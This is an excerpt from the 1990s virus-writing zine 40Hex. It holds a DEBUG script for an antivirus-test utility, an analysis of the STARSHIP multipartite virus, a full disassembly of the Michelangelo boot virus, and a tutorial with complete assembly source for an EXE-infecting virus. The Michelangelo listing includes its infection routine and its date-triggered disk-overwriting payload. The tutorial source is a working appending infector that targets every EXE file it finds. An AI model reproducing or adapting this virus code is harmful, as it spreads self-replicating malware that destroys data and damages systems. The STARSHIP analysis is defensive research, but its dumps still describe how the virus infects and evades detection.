Number 8 Volume 2 Issue 4 File 004 -=PHALCON/SKISM=- Presents CheckAv PD War Collection Program 3 By Dark Angel Once again, not an incredibly impressive program, but it is still quite useful. It PutAv's a serial number, pkzips a test file, with the pkzip -! option, then unzips it. It logs the line that has serial number. This program requires pkzip, pkunzip, putav and avs.dat from findav15. It is a very crude program, but it was done in quite a hurry, as I am going away for a while. Run it in a RAM disk, as it is much better! ------------------------------------------------------------------------------- n checkav.com e 0100 BA F7 02 B4 4A BB 00 10 CD 21 72 34 BA 83 02 E8 e 0110 6C 01 BA 14 03 E8 66 01 B4 0A BA 9A 04 CD 21 BA e 0120 3C 03 80 3E 9A 04 00 74 76 BB 9C 04 8B D3 A0 9B e 0130 04 98 03 D8 C6 07 00 B8 00 3D CD 21 BA 5E 03 93 e 0140 72 5D B4 3F B9 3C 00 BA BC 04 CD 21 87 D7 BA 7D e 0150 03 0B C0 74 4A B8 00 42 33 C9 99 CD 21 FC BA 9F e 0160 03 B9 3C 00 B0 0D F2 AE 0B C9 74 33 BA D3 03 E8 e 0170 0C 01 4F C6 05 24 BA BC 04 E8 02 01 C6 05 0D 8B e 0180 D7 81 EA BA 04 89 16 F8 04 B8 00 42 33 C9 CD 21 e 0190 BA D6 02 E8 E8 00 BA 82 04 E8 BA 00 E8 13 00 E8 e 01A0 DC 00 B4 41 BA 8A 04 CD 21 B4 41 BA 8F 04 CD 21 e 01B0 CD 20 B4 3F B9 0D 00 BA EF 03 CD 21 0B C0 74 3A e 01C0 BA E5 03 E8 B8 00 E8 A2 00 E8 32 00 BE EF 03 BF e 01D0 09 04 B9 0B 00 F3 A4 BE 03 04 E8 52 00 E8 8B 00 e 01E0 BE 20 04 E8 49 00 E8 82 00 BE 34 04 E8 40 00 E8 e 01F0 79 00 BE 51 04 E8 37 00 EB B8 BA B8 03 C3 53 B4 e 0200 3C BA FE 03 33 C9 CD 21 93 B4 40 8B 0E F8 04 49 e 0210 BA BC 04 CD 21 B4 40 B9 0C 00 BA EF 03 CD 21 B4 e 0220 40 B9 01 00 BA FD 03 CD 21 B4 3E CD 21 5B C3 50 e 0230 53 51 52 1E 06 55 57 89 26 FC 04 8C 16 FA 04 CD e 0240 2E FA 2E 8E 16 FA 04 2E 8B 26 FC 04 FB 5F 5D 07 e 0250 1F 5A 59 5B 58 C3 53 B8 00 3D CD 21 73 06 B4 3C e 0260 33 C9 CD 21 93 B4 3E CD 21 5B C3 B4 06 B2 FF CD e 0270 21 74 0A 3C 1B 75 06 BA D9 02 E9 22 FF C3 B4 09 e 0280 CD 21 C3 43 68 65 63 6B 41 56 20 76 65 72 73 69 e 0290 6F 6E 20 31 2E 30 0D 0A 62 79 20 44 61 72 6B 20 e 02A0 41 6E 67 65 6C 20 6F 66 20 50 48 41 4C 43 4F 4E e 02B0 2F 53 4B 49 53 4D 0D 0A 50 72 65 73 73 20 45 53 e 02C0 43 20 74 6F 20 61 62 6F 72 74 20 61 74 20 61 6E e 02D0 79 20 74 69 6D 65 0D 0A 24 45 53 43 61 70 65 20 e 02E0 64 65 74 65 63 74 65 64 2E 20 20 41 62 6F 72 74 e 02F0 69 6E 67 2E 0D 0A 24 45 72 72 6F 72 20 72 65 61 e 0300 6C 6C 6F 63 61 74 69 6E 67 20 6D 65 6D 6F 72 79 e 0310 2E 0D 0A 24 45 6E 74 65 72 20 74 68 65 20 6E 61 e 0320 6D 65 20 6F 66 20 74 68 65 20 66 69 6C 65 20 74 e 0330 6F 20 70 72 6F 63 65 73 73 3A 20 24 0D 0A 4E 6F e 0340 20 69 6E 70 75 74 20 64 65 74 65 63 74 65 64 2E e 0350 20 20 41 62 6F 72 74 69 6E 67 21 0D 0A 24 0D 0A e 0360 46 69 6C 65 20 6E 6F 74 20 66 6F 75 6E 64 2E 20 e 0370 20 41 62 6F 72 74 69 6E 67 2E 0D 0A 24 0D 0A 54 e 0380 68 65 20 66 69 6C 65 20 69 73 20 7A 65 72 6F 20 e 0390 62 79 74 65 73 2E 20 20 44 69 65 21 0D 0A 24 0D e 03A0 0A 54 68 65 20 66 69 6C 65 20 69 73 20 69 6E 76 e 03B0 61 6C 69 64 2E 0D 0A 24 0D 0A 43 68 65 63 6B 41 e 03C0 56 20 72 75 6E 20 63 6F 6D 70 6C 65 74 65 64 2E e 03D0 0D 0A 24 0D 0A 0D 0A 54 65 73 74 69 6E 67 20 66 e 03E0 6F 72 3A 20 24 43 68 65 63 6B 69 6E 67 20 23 00 e 03F0 00 00 00 00 00 00 00 00 00 00 00 00 24 1B 74 65 e 0400 73 74 00 1B 65 63 68 6F 20 00 00 00 00 00 00 00 e 0410 00 00 00 00 20 3E 3E 20 72 65 73 75 6C 74 73 0D e 0420 12 70 75 74 61 76 20 3C 20 74 65 73 74 20 3E 20 e 0430 6E 75 6C 0D 1B 70 6B 7A 69 70 20 2D 21 6F 20 74 e 0440 6F 6D 72 6F 74 20 74 65 73 74 20 3E 20 6E 75 6C e 0450 0D 2F 70 6B 75 6E 7A 69 70 20 74 6F 6D 72 6F 74 e 0460 20 2D 74 20 7C 20 66 69 6E 64 20 22 41 75 74 68 e 0470 65 6E 74 69 63 22 20 3E 3E 20 72 65 73 75 6C 74 e 0480 73 0D 72 65 73 75 6C 74 73 00 74 65 73 74 00 74 e 0490 6F 6D 72 6F 74 2E 7A 69 70 00 20 1A 1A 1A 1A 1A rcx 049F w q ------------------------------------------------------------------------------- 40Hex Number 8 Volume 2 Issue 4 File 005 STARSHIP - interesting file-boot virus. Muttik I.G. (Internet: MIG@politon.msk.su) KEYWORDS Virus, DOS, executable file, masterboot record, resident in memory, encryption. ABSTRACT STARSHIP virus (file and boot simultaneously) is described. It infects IBM PC and compatibles running DOS. Virus is called STARSHIP : this string can be easily found in the memory dump of virus. Virus infects masterboot record on harddisk and executable files files created on floppy drives. The virus is encrypted. Infected executable files have no descriptor longer than 2 bytes. Virus appears to have no destructive code, it uses music and video effects when active. The abnormal operation of the infected computers was sometimes detected. INTRODUCTION History of computer viruses is very short. The first known publications are dated with 1984-1985 [1,2]. But now situation in this field changes every day - uncountable number of various computer viruses are known at present in DOS operating system. The variety of known viruses is fantastic, but all of them falls into three known categories: file, boot [3,4] and cluster. Active area of the first virus type is executable files and of the second type - boot records on harddisks and diskettes. The third category is not yet over- populated, the only representative is bulgarian DIR-II virus. Probably the first virus which infects files and boot sectors was Ghost virus [5]. This virus was discovered by Fridrik Skulason at Icelandic University. Ghost virus infects only COM files. This virus increases file size by 2351 bytes. When active the Ghost replaces boot sector of infected system with a boot virus similar to Ping Pong, but this boot virus does not have infection routine. The Ghost virus, consequently, may be considered as a file virus with unusual active phase. After some time appeared Virus-101, Frodo and, finally, a bunch of new viruses was found: Thanksgiving virus (V-1), TEQUILA and STARSHIP (these type of viruses is sometimes called "multi-partite"). STARSHIP virus was found in Moscow in January 1991. Probably this virus was written in the USSR. The living cycle of STARSHIP virus is the following. When infected file is started it modifies masterboot record (MBR) on the harddisk and writes virus on the disk. Thereafter, when computer reboots, virus intercepts interrupt vectors 13h (low- level disk I/O) and 21h (DOS service). During the reboot virus is stored in the videomemory at address BB00:0. It is moved to the core RAM later, when the first program terminates. Now it stays resident and infects any COM/EXE file created on floppy drives. 1. GENERAL DESCRIPTION Length of STARSHIP virus in memory is 2688 bytes. Size of code is 2560 bytes, buffers and variables takes the remainder. On harddisk virus takes 3072 bytes (6 sectors * 512 bytes). Virus layout is shown in Table.1 and its memory dump (fragmentary) is presented in Figure.1. (NOTE: All dumps presented is the article are partial in order to prevent the possibility to use for generation of new viruses.) No text messages except one string ">STARSHIP_1<" of length 12 (found only in memory) were discovered. This string can be found only in memory, because virus is stored on disk and in the infected file in encrypted form. Normally virus stays resident and the size of used memory block is B00h=2816. The beginning of this memory block is the Program Segment Prefix (PSP) of program that triggered the installation of virus in the core RAM. Really virus is started at offset 80h in this PSP (consequently, the real virus size is: B00h-80h=A80h=2688 bytes). Virus uses standard interrupts 13h, 20h, 21h, 27h and creates its own interrupts F9h and FCh (see later). When virus is already resident (installed in the core RAM) it uses only 13h and 21h vectors. Entry points of both interrupt handlers can be easily found (CS:005F and CS:00C5; here CS represents the code segment where virus resides). In the memory dump of virus one can found the buffer for the filename (see ASCIIZ= 'B:\TMP\DROZFILA.COM' at CS:000D in Fig.1). Virus extensively uses its internal random number generator. The random number seed is taken from BIOS timer variable (0:46Ch). Random generator is used for the demonstration of video effect and while creating the infected file (change of size is random and virus code is encrypted using random number). The word "random" may be a real motto of the described virus - it uses random number generator very frequently. The part of virus memory image is encrypted using XOR function (approximately 60% of total virus size). This section is decrypted and used only while infecting files (section is marked in Table.1 with the box). After infection of each file the XOR mask is changed, and encryption is performed with the new mask. Described procedure makes the encrypted section volatile and unreadable. This behavior is not used to hide any strings in virus body (there are no strings at all, except virus name) - maybe it is implemented only to achieve permanent variance. Virus uses trace capabilities of processor to determine the original BIOS interrupt 13h entry point. Virus issues int 13h with trace flag set and records the CS:IP when CS becomes greater or equal to C800h (corresponds to the ROM area). However this method seems to be non-universal. I have investigated the process of disk infection and found that rewriting of MBR sometimes triggered the resident antivirus utilities (program TSAFE: Turbo-Anti Virus Ver.6.80A from CARMEL Software Engineering, Israel). While disassembling the virus I have found special code inserts used to fool disassemblers. In most cases these inserts uses non-working calls and jumps pointing on the garbage in the virus body. These inserts are a real problem for disassemblers and I have not found one that managed to correctly separate code and data (or code and garbage). The intelligent analysis of code is needed, which is not performed by all available disassemblers (including smart SOURCER ver. 3.07, by V Communications Inc.). I have carefully examined the reconstructed source and established that STARSHIP virus appears to have no destructive code. 2. FILE INFECTION Strategy of file infection is the following. Files are infected while creation of EXE/COM file on A: or B: disks. Virus records file name in internal buffer (at CS:000D), and starts infection routine when request to close the file was issued. This technique is similar to the method used by Dark Avenger virus [3,5,7]. The idea to infect only executable file that are created on floppy disks explains why STARSHIP does not intercept int 24h. This interrupt is usually catched by viruses to prevent message - "Write protect error". But when file is created (!) on the floppy disk it automatically indicates that the user has removed (or will remove) the write protect tab. Change of infected file size is true random (for the same file you can get many variants of infection with different size growth). Change of size is typically 2616...2648 bytes. Virus infects COMMAND.COM file when it is created on floppy disk. No special strategy is used to infect command interpreter - it is infected as a simple .COM file. When infecting executable (only EXE and COM) files, virus preserves attribute. If the file is readonly - this attribute remains unchanged after infection. STARSHIP examines the executable file type by its contents, not by extension (tests for 5A4Dh at file beginning, but it does not test 4D5Ah). Virus does not infect short files - see Table 2. Virus does not infect the files that are already infected. Buffer at virus end is used to read code beginning and determine the presence of virus (it seems to me that virus may frequently regard uninfected files as infected, because it performs very primitive analysis). Virus infection routine uses the following interrupts: int F9h (it points on the original int 21h, as set by DOS) and int FCh (points on original int 13h, as set by BIOS). These interrupts are used instead of int 21h and 13h. This technique is probably used to prevent triggering of certain antivirus utilities. These utilities often controls all invokations of 21h and 13h interrupts. The infection routine appends virus to the end of executable file and adjusts the program entry point. Executable files with COM extension are modified by virus at first 3 bytes, which are replaced with JMP instruction, pointing on the decryptor. Original 3 bytes from file start are stored at the very end of the infected file (like the body of virus these bytes are encrypted with XOR function). After modification of the EXE file header new CS:IP points on the virus decryptor. SS, SP and MINALLOC fields are changed. Original CS, IP, SS and SP are stored at the end of the virus body at offset A4Fh (you cannot fetch these bytes directly - they are encrypted). The header of the infected EXE file has some special features. Instruction pointer always follows the relation: 4STARSHIP_1<. 18FB:0060 FA 80 75 41 83 F9 01 75-3F 0A F6 75 38 80 FC 02 ..uA...u?..u8... 18FB:0070 75 29 1E 50 E8 13 03 58-9C FF 1E B8 04 1F 72 18 u).P...X......r. 18FB:0080 50 56 72 16 B8 01 00 BE-BE 01 26 89 40 02 B0 01 PVr.......&.@... 18FB:0090 26 88 40 01 5E 58 F8 FB-EB 7C 3C 80 FC 03 74 F6 &.@.^X...|<...t. 18FB:00A0 80 FC 05 74 F1 E9 3E 01-80 FE 08 75 F8 51 02 C8 ...t..>....u.Q.. 18FB:00B0 80 F9 CC 59 72 EF 80 FD-FE 72 EA 80 FC 02 74 D6 ...Yr....r....t. 18FB:00C0 75 D9 FF F1 E8 9C 2E 80-3E 4F 00 00 75 18 50 1E u.......>O..u.P. 18FB:00D0 8C C8 2D 09 00 E8 A9 02-A1 3C 00 48 E8 A2 02 2E ..-......<.H.... 18FB:00E0 F6 16 4F 00 1F 58 80 FC-3C 75 31 2E 83 3E 0B 00 ..O..X.... 18FB:00F0 00 75 6E E8 6E 00 75 69-9D E8 CC 00 72 18 50 51 .un.n.ui....r.PQ ================================================================== Figure 2. Dump of pseudoDOS boot sector (thin line denotes random garbage). 0000 EB 34 90 4D 53 BF 05 00-CD 13 73 09 32 E4 CD 13 .4.MS.....s.2... 0010 4F 75 F5 CD 18 C3 B9 01-00 E8 E9 FF 80 3E 00 7E Ou...........>.~ 0020 EB 75 10 A0 02 7E BB 00-7E E8 97 00 0A E4 74 03 .u...~..~.....t. 0030 80 EF 02 06 53 CB FA 33-C0 8E D0 BC 00 7C 8B F4 ....S..3.....|.. 0040 8E C0 8E D8 FB FC BF 00-06 B9 00 01 F3 A5 EA 53 ...............S 0050 06 00 00 B9 37 00 BE D6-06 BF C0 02 F3 A4 BF B0 ....7........... 0060 04 B9 08 00 F3 A4 1E C5-06 4C 00 AB 8C D8 AB 1F .........L...... 0070 FE 06 FC 7D A1 FC 7D B9-CC FE BB 00 7C BA 80 08 ...}..}.....|... 0080 0A C0 74 08 50 B8 01 03-E8 7A FF 58 41 89 0E DB ..t.P....z.XA... 0090 02 88 36 DF 02 06 BB 00-BB 8E C3 88 26 E7 02 CD ..6.........&... 00A0 B0 26 A2 63 01 26 8C 1E-C2 00 07 FA C7 06 4C 00 .&.c.&........L. 00B0 B0 04 8C 1E 4E 00 FB BB-00 7C B8 06 02 BA 80 00 ....N....|...... 00C0 E9 53 FF 53 51 B9 0A 0A-32 E4 26 30 07 26 02 27 .S.SQ...2.&0.&.' 00D0 43 E2 F7 59 5B C3 C4 02-00 00 50 06 53 B8 00 BB C..Y[.....P.S... 00E0 8E C0 BB 50 00 26 80 3F-E9 74 1E 52 51 B8 05 02 ...P.&.?.t.RQ... 00F0 B9 00 00 BA 80 00 9C 2E-FF 1E B8 04 B0 00 B9 0A ................ 0100 0A 26 30 07 43 E2 FA 59-5A 5B 07 58 CF CD B0 9A .&0.C..YZ[.X.... +--------------------------------+ 0110 5F 00 00 BB EA|1E 0E 1F-8E C0 33 FF 50 FC 32 C0| _.........3.P.2. +--------------------+ | |0120 B9 50 00 F3 AA E8 F6 F7-8B F7 B9 0A 0A F3 A4 E8| .P.............. |0130 98 F9 58 FA A3 B5 04 A3-C1 04 B8 90 90 A3 B0 04| ..X............. |0140 A3 BC 04 C7 06 BF 04 C5-00 B8 EB 05 A3 C8 04 B8| ................ |0150 EB F4 A3 D4 04 BF CA 04-BE DB 04 06 1E 07 A5 A5| ................ |0160 A4 FB A3 D9 04 A3 C8 02-C7 06 E0 02 CD 13 C7 06| ................ |0170 E2 02 EB 0D FE 06 D9 02-CD B0 B9 37 00 BF C0 02| ...........7.... |0180 1E 07 8C D8 F3 AA 07 1F-C3 B4 62 E8 7A F7 C3 90| ..........b.z... |0190 90 90 90 90 90 90 90 90-90 90 A4 4B 4C EA A6 8C| ...........KL... |01A0 BE 23 54 F4 BC E8 B8 6B-5B F1 B2 EC B2 81 5E F6| .#T....k[.....^. |01B0 88 D0 8C BC 64 CC 8E CC-86 69 6A C2 84 C8 80 6F| ....d....ij....o |01C0 FA 2B C0 8E D0 8E C0 8E-D8 B8 00 7C 8B E0 FB 8B| .+.........|.... |01D0 F0 BF 00 7E FC B9 00 01-F3 A5 E9 00 02 B9 10 00| ...~............ |01E0 8B 36 85 7E F6 04 80 75-08 83 EE 10 E2 F6 EB 37| .6.~...u.......7 | +-----------------+ |01F0 90 BF BE 07 57 B9 08 00-F3 A5|74 91 05 AD 55 AA ....W.....t...U. +-----------------------------------+ ================================================================== Figure 3. Dispatcher code located at absolute address 0:4B0. a) virus code located in videomemory 0000:04B0 CD B0 INT B0 <== int 13h 0000:04B2 9A 5F 00 00 BB CALL BB00:005F 0000:04B7 EA 3D A3 00 F0 JMP F000:A33D 0000:04BC CD B0 INT B0 <== int 21h 0000:04BE 9A D6 03 00 BB CALL BB00:03D6 0000:04C3 EA 60 14 73 02 JMP 0273:1460 0000:04C8 CD B0 INT B0 <== int 20h 0000:04CA 9A DD 03 00 BB CALL BB00:03DD 0000:04CF EA 3F 14 73 02 JMP 0273:143F 0000:04D4 CD B0 INT B0 <== int 27h 0000:04D6 9A 93 03 00 BB CALL BB00:0393 0000:04DB EA 66 63 73 02 JMP 0273:6366 b) after removing of code from videomemory (segment CS=18FB is where virus resides) 0000:04B0 90 NOP <== int 13h 0000:04B1 90 NOP 0000:04B2 9A 5F 00 6D 19 CALL 18FB:005F 0000:04B7 EA 3D A3 00 F0 JMP F000:A33D 0000:04BC 90 NOP <== int 21h 0000:04BD 90 NOP 0000:04BE 9A C5 00 6D 19 CALL 18FB:00C5 0000:04C3 EA 3D A3 00 F0 JMP 0273:1460 0000:04C8 EB 05 JMP 4CF <== int 20h 0000:04CA EA 3F 14 73 02 JMP 0273:143F 0000:04CF EA 66 63 73 02 JMP 0273:6366 0000:04D4 EB F4 JMP 4CA <== int 27h =============================================================== All corrections and remarks will be greatly appreciated. Send information directly via E-mail address (MIG@politon.msk.su) or in comp.virus group of USENET (I am monitoring it permanently). F .rs mbyt- tF .rs mbyt- tF . (What is this? -Ed.) 40Hex Number 8 Volume 2 Issue 4 File 006 ; This is a disassembly of the much-hyped michelangelo virus. ; As you can see, it is a derivative of the Stoned virus. The ; junk bytes at the end of the file are probably throwbacks to ; the Stoned virus. In any case, it is yet another boot sector ; and partition table infector. michelangelo segment byte public assume cs:michelangelo, ds:michelangelo ; Disassembly by Dark Angel of PHALCON/SKISM org 0 jmp entervirus highmemjmp db 0F5h, 00h, 80h, 9Fh maxhead db 2 ; used by damagestuff firstsector dw 3 oldint13h dd 0C8000256h int13h: push ds push ax or dl, dl ; default drive? jnz exitint13h ; exit if not xor ax, ax mov ds, ax test byte ptr ds:[43fh], 1 ; disk 0 on? jnz exitint13h ; if not spinning, exit pop ax pop ds pushf call dword ptr cs:[oldint13h]; first call old int 13h pushf call infectdisk ; then infect popf retf 2 exitint13h: pop ax pop ds jmp dword ptr cs:[oldint13h] infectdisk: push ax push bx push cx push dx push ds push es push si push di push cs pop ds push cs pop es mov si, 4 readbootblock: mov ax,201h ; Read boot block to mov bx,200h ; after virus mov cx,1 xor dx,dx pushf call oldint13h jnc checkinfect ; continue if no error xor ax,ax pushf call oldint13h ; Reset disk dec si ; loop back jnz readbootblock jmp short quitinfect ; exit if too many failures checkinfect: xor si,si cld lodsw cmp ax,[bx] ; check if already infected jne infectitnow lodsw cmp ax,[bx+2] ; check again je quitinfect infectitnow: mov ax,301h ; Write old boot block mov dh,1 ; to head 1 mov cl,3 ; sector 3 cmp byte ptr [bx+15h],0FDh ; 360k disk? je is360Kdisk mov cl,0Eh is360Kdisk: mov firstsector,cx pushf call oldint13h jc quitinfect ; exit on error mov si,200h+offset partitioninfo mov di,offset partitioninfo mov cx,21h ; Copy partition table cld rep movsw mov ax,301h ; Write virus to sector 1 xor bx,bx mov cx,1 xor dx,dx pushf call oldint13h quitinfect: pop di pop si pop es pop ds pop dx pop cx pop bx pop ax retn entervirus: xor ax,ax mov ds,ax cli mov ss,ax mov ax,7C00h ; Set stack to just below mov sp,ax ; virus load point sti push ds ; save 0:7C00h on stack for push ax ; later retf mov ax,ds:[13h*4] mov word ptr ds:[7C00h+offset oldint13h],ax mov ax,ds:[13h*4+2] mov word ptr ds:[7C00h+offset oldint13h+2],ax mov ax,ds:[413h] ; memory size in K dec ax ; 1024 K dec ax mov ds:[413h],ax ; move new value in mov cl,6 shl ax,cl ; ax = paragraphs of memory mov es,ax ; next line sets seg of jmp mov word ptr ds:[7C00h+2+offset highmemjmp],ax mov ax,offset int13h mov ds:[13h*4],ax mov ds:[13h*4+2],es mov cx,offset partitioninfo mov si,7C00h xor di,di cld rep movsb ; copy to high memory ; and transfer control there jmp dword ptr cs:[7C00h+offset highmemjmp] ; destination of highmem jmp xor ax,ax mov es,ax int 13h ; reset disk push cs pop ds mov ax,201h mov bx,7C00h mov cx,firstsector cmp cx,7 ; hard disk infection? jne floppyboot ; if not, do floppies mov dx,80h ; Read old partition table of int 13h ; first hard disk to 0:7C00h jmp short exitvirus floppyboot: mov cx,firstsector ; read old boot block mov dx,100h ; to 0:7C00h int 13h jc exitvirus push cs pop es mov ax,201h ; read boot block mov bx,200h ; of first hard disk mov cx,1 mov dx,80h int 13h jc exitvirus xor si,si cld lodsw cmp ax,[bx] ; is it infected? jne infectharddisk ; if not, infect HD lodsw ; check infection cmp ax,[bx+2] jne infectharddisk exitvirus: xor cx,cx ; Real time clock get date mov ah,4 ; dx = mon/day int 1Ah cmp dx,306h ; March 6th je damagestuff retf ; return control to original ; boot block @ 0:7C00h damagestuff: xor dx,dx mov cx,1 smashanothersector: mov ax,309h mov si,firstsector cmp si,3 je smashit mov al,0Eh cmp si,0Eh je smashit mov dl,80h ; first hard disk mov maxhead,4 mov al,11h smashit: mov bx,5000h ; random memory area mov es,bx ; at 5000h:5000h int 13h ; Write al sectors to drive dl jnc skiponerror ; skip on error xor ah,ah ; Reset disk drive dl int 13h skiponerror: inc dh ; next head cmp dh,maxhead ; 2 if floppy, 4 if HD jb smashanothersector xor dh,dh ; go to next head/cylinder inc ch jmp short smashanothersector infectharddisk: mov cx,7 ; Write partition table to mov firstsector,cx ; sector 7 mov ax,301h mov dx,80h int 13h jc exitvirus mov si,200h+offset partitioninfo ; Copy partition mov di,offset partitioninfo ; table information mov cx,21h rep movsw mov ax,301h ; Write to sector 8 xor bx,bx ; Copy virus to sector 1 inc cl int 13h ;* jmp short 01E0h db 0EBh, 32h ; ?This should crash? ; The following bytes are meaningless. garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h partitioninfo: db 42h dup (0) michelangelo ends end 40Hex Number 8 Volume 2 Issue 4 File 007 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ An Introduction to Nonoverwriting Virii Part II: EXE Infectors By Dark Angel ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ In the last issue of 40Hex, I presented theory and code for the nonoverwriting COM infector, the simplest of all parasitic virii. Hopefully, having learned COM infections cold, you are now ready for EXE infections. There is a grey veil covering the technique of EXE infections, as the majority of virii are COM-only. EXE infections are, in some respects, simpler than COM viruses. However, to understand the infection, you must understand the structure of EXE files (naturally). EXE files are structured into segments which are loaded consecutively atop one another. Thus, all an EXE infector must do is create its own segment in the EXE file and alter the entry point appropriately. Therefore, EXE infections do not require restoration of bytes of code, but rather involve the manipulation of the header which appears in the beginning every EXE file and the appending of viral code to the infected file. The format of the header follows: Offset Description 00 ID word, either 'MZ' or 'ZM' 02 Number of bytes in the last (512 byte) page in the image 04 Total number of 512 byte pages in the file 06 Number of entries in the segment table 08 Size of the header in (16 byte) paragraphs 0A Minimum memory required in paragraphs 0C Maximum memory requested in paragraphs 0E Initial offset in paragraphs to stack segment from header 10 Initial offset in bytes of stack pointer from stack segment 12 Negative checksum (ignored) 14 Initial offset in bytes of instruction pointer from code segment 16 Initial offset in paragraphs of code segment from header 18 Offset of relocation table from start of file 1A Overlay number (ignored) The ID word is generally 'ZM' (in the Intel little-endian format). Few files start with the alternate form, 'MZ' (once again in Intel little- endian format). To save space, a check for the alternate form of the EXE ID in the virus may be omitted, although a few files may be corrupted due to this omission. The words at offsets 2 and 4 are related. The word at offset 4 contains the filesize in pages. A page is a 512 byte chunk of memory, just as a word is a two byte chunk of memory. This number is rounded up, so a file of length 514 bytes would contain a 2 at offset 4 in the EXE header. The word at offset 2 is the image length modulo 512. The image length does not include the header length. This is one of the bizarre quirks of the EXE header. Since the header length is usually a multiple of 512 anyway, this quirk usually does not matter. If the word at offset 2 is equal to four, then it is generally ignored (heck, it's never really used anyway) since pre-1.10 versions of the Microsoft linker had a bug which caused the word to always be equal to four. If you are bold, the virus can set this word to 4. However, keep in mind that this was a bug of the linker and not all command interpreters may recognise this quirk. The minimum memory required by the program (offset A) can be ignored by the virus, as the maximum memory is generally allocated to the program by the operating system. However, once again, ignoring this area of the header MAY cause an unsucessful infection. Simply adding the virus size in paragraphs to this value can nullify the problem. The words representing the initial stack segment and pointer are reversed (not in little-endian format). In other words, an LES to this location will yield the stack pointer in ES and the stack segment in another register. The initial SS:SP is calculated with the base address of 0000:0000 being at the end of the header. Similarly, the initial CS:IP (in little-endian format) is calculated with the base address of 0000:0000 at the end of the header. For example, if the program entry point appears directly after the header, then the CS:IP would be 0000:0000. When the program is loaded, the PSP+10 is added to the segment value (the extra 10 accounts for the 100h bytes of the PSP). All the relevant portions of the EXE header have been covered. So what should be done to write a nonoverwriting EXE infector? First, the virus must be appended to the end of the file. Second, the initial CS:IP must be saved and subsequently changed in the header. Third, the initial SS:SP should also be saved and changed. This is to avoid any possible memory conflicts from the stack overwriting viral code. Fourth, the file size area of the header should be modified to correctly reflect the new size of the file. Fifth, any additional safety modifications such as increasing the minimum memory allocation should be made. Last, the header should be written to the infected file. There are several good areas for ID bytes in the EXE header. The first is in the stack pointer field. Since it should be changed anyway, changing it to a predictable number would add nothing to the code length. Make sure, however, to make the stack pointer high enough to prevent code overwrites. Another common area for ID bytes is in the negative checksum field. Since it is an unused field, altering it won't affect the execution of any programs. One further item should be mentioned before the code for the EXE infector. It is important to remember that EXE files are loaded differently than COM files. Although a PSP is still built, the initial CS does NOT point to it. Instead, it points to wherever the entry point happens to be. DS and ES point to the PSP, and therefore do NOT point to the entry point (your virus code). It is important to restore DS and ES to their proper values before returning control to the EXE. ----cut here--------------------------------------------------------------- .model tiny ; Handy TASM directive .code ; Virus code segment org 100h ; COM file starting IP ; Cheesy EXE infector ; Written by Dark Angel of PHALCON/SKISM ; For 40Hex Number 8 Volume 2 Issue 4 id = 'DA' ; ID word for EXE infections startvirus: ; virus code starts here call next ; calculate delta offset next: pop bp ; bp = IP next sub bp,offset next ; bp = delta offset push ds push es push cs ; DS = CS pop ds push cs ; ES = CS pop es lea si,[bp+jmpsave2] lea di,[bp+jmpsave] movsw movsw movsw movsw mov ah,1Ah ; Set new DTA lea dx,[bp+newDTA] ; new DTA @ DS:DX int 21h lea dx,[bp+exe_mask] mov ah,4eh ; find first file mov cx,7 ; any attribute findfirstnext: int 21h ; DS:DX points to mask jc done_infections ; No mo files found mov al,0h ; Open read only call open mov ah,3fh ; Read file to buffer lea dx,[bp+buffer] ; @ DS:DX mov cx,1Ah ; 1Ah bytes int 21h mov ah,3eh ; Close file int 21h checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? jnz infect_exe find_next: mov ah,4fh ; find next file jmp short findfirstnext done_infections: mov ah,1ah ; restore DTA to default mov dx,80h ; DTA in PSP pop es pop ds ; DS->PSP int 21h mov ax,es ; AX = PSP segment add ax,10h ; Adjust for PSP add word ptr cs:[si+jmpsave+2],ax add ax,word ptr cs:[si+stacksave+2] cli ; Clear intrpts for stack manip. mov sp,word ptr cs:[si+stacksave] mov ss,ax sti db 0eah ; jmp ssss:oooo jmpsave dd ? ; Original CS:IP stacksave dd ? ; Original SS:SP jmpsave2 dd 0fff00000h ; Needed for carrier file stacksave2 dd ? creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0 virusname db '[DemoEXE] for 40Hex',0 infect_exe: les ax, dword ptr [bp+buffer+14h] ; Save old entry point mov word ptr [bp+jmpsave2], ax mov word ptr [bp+jmpsave2+2], es les ax, dword ptr [bp+buffer+0Eh] ; Save old stack mov word ptr [bp+stacksave2], es mov word ptr [bp+stacksave2+2], ax mov ax, word ptr [bp+buffer + 8] ; Get header size mov cl, 4 ; convert to bytes shl ax, cl xchg ax, bx les ax, [bp+offset newDTA+26]; Get file size mov dx, es ; to DX:AX push ax push dx sub ax, bx ; Subtract header size from sbb dx, 0 ; file size mov cx, 10h ; Convert to segment:offset div cx ; form mov word ptr [bp+buffer+14h], dx ; New entry point mov word ptr [bp+buffer+16h], ax mov word ptr [bp+buffer+0Eh], ax ; and stack mov word ptr [bp+buffer+10h], id pop dx ; get file length pop ax add ax, heap-startvirus ; add virus size adc dx, 0 mov cl, 9 ; 2**9 = 512 push ax shr ax, cl ror dx, cl stc adc dx, ax ; filesize in pages pop ax and ah, 1 ; mod 512 mov word ptr [bp+buffer+4], dx ; new file size mov word ptr [bp+buffer+2], ax push cs ; restore ES pop es mov cx, 1ah finishinfection: push cx ; Save # bytes to write xor cx,cx ; Clear attributes call attributes ; Set file attributes mov al,2 call open mov ah,40h ; Write to file lea dx,[bp+buffer] ; Write from buffer pop cx ; cx bytes int 21h mov ax,4202h ; Move file pointer xor cx,cx ; to end of file cwd ; xor dx,dx int 21h mov ah,40h ; Concatenate virus lea dx,[bp+startvirus] mov cx,heap-startvirus ; # bytes to write int 21h mov ax,5701h ; Restore creation date/time mov cx,word ptr [bp+newDTA+16h] ; time mov dx,word ptr [bp+newDTA+18h] ; date int 21h mov ah,3eh ; Close file int 21h mov ch,0 mov cl,byte ptr [bp+newDTA+15h] ; Restore original call attributes ; attributes mo_infections: jmp find_next open: mov ah,3dh lea dx,[bp+newDTA+30] ; filename in DTA int 21h xchg ax,bx ret attributes: mov ax,4301h ; Set attributes to cx lea dx,[bp+newDTA+30] ; filename in DTA int 21h ret exe_mask db '*.exe',0 heap: ; Variables not in code newDTA db 42 dup (?) ; Temporary DTA buffer db 1ah dup (?) ; read 